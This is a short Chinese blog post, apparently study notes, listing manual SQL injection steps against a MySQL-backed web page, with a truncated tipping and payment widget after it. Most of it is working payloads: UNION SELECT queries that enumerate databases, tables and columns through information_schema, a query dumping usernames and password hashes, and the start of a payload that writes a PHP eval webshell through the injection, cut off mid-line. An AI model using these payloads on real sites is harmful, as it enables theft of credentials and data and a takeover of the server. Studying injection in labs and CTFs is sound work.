SQL注入步骤

SQL注入的过程
最近学习了SQL注入,抽空总结一下

1.寻找注入点
找到类似的id=类似的可以手工测试是否为注入点一般的测试手工手段就是 id=1 and 1=2 等等根据返回的页面判断是什么类型的注入方式
一般没有加’‘就是数字型注入 加了’‘就是字符型注入 根据不同的注入类型来选择不同的注入方式
2.判断字段个数 id=1 order by n
3. 判断数据库信息 这个一般是根据页面的报错显示数据库的类型等等
4.查找数据库名 ?id=1 and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1-- ss
5.查找数据库表名 ?id=1 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1-- ss
6.查找列名 ?id=1 and 1=2 Union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1-- ss(大小写可能绕过)
7.获取数据 ?id=1 and 1=2 union select 1,id,flag from flag-- ss
Mysql5及以上的版本中有 information_schema库存放了数据库的信息内容 直接爆库爆表爆字段
联合查询数据库的version(),database(),user()
union select user,password from users 查询用户密码(md5加密)
id=1’ union select ’<?php eval($_POST['root'

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值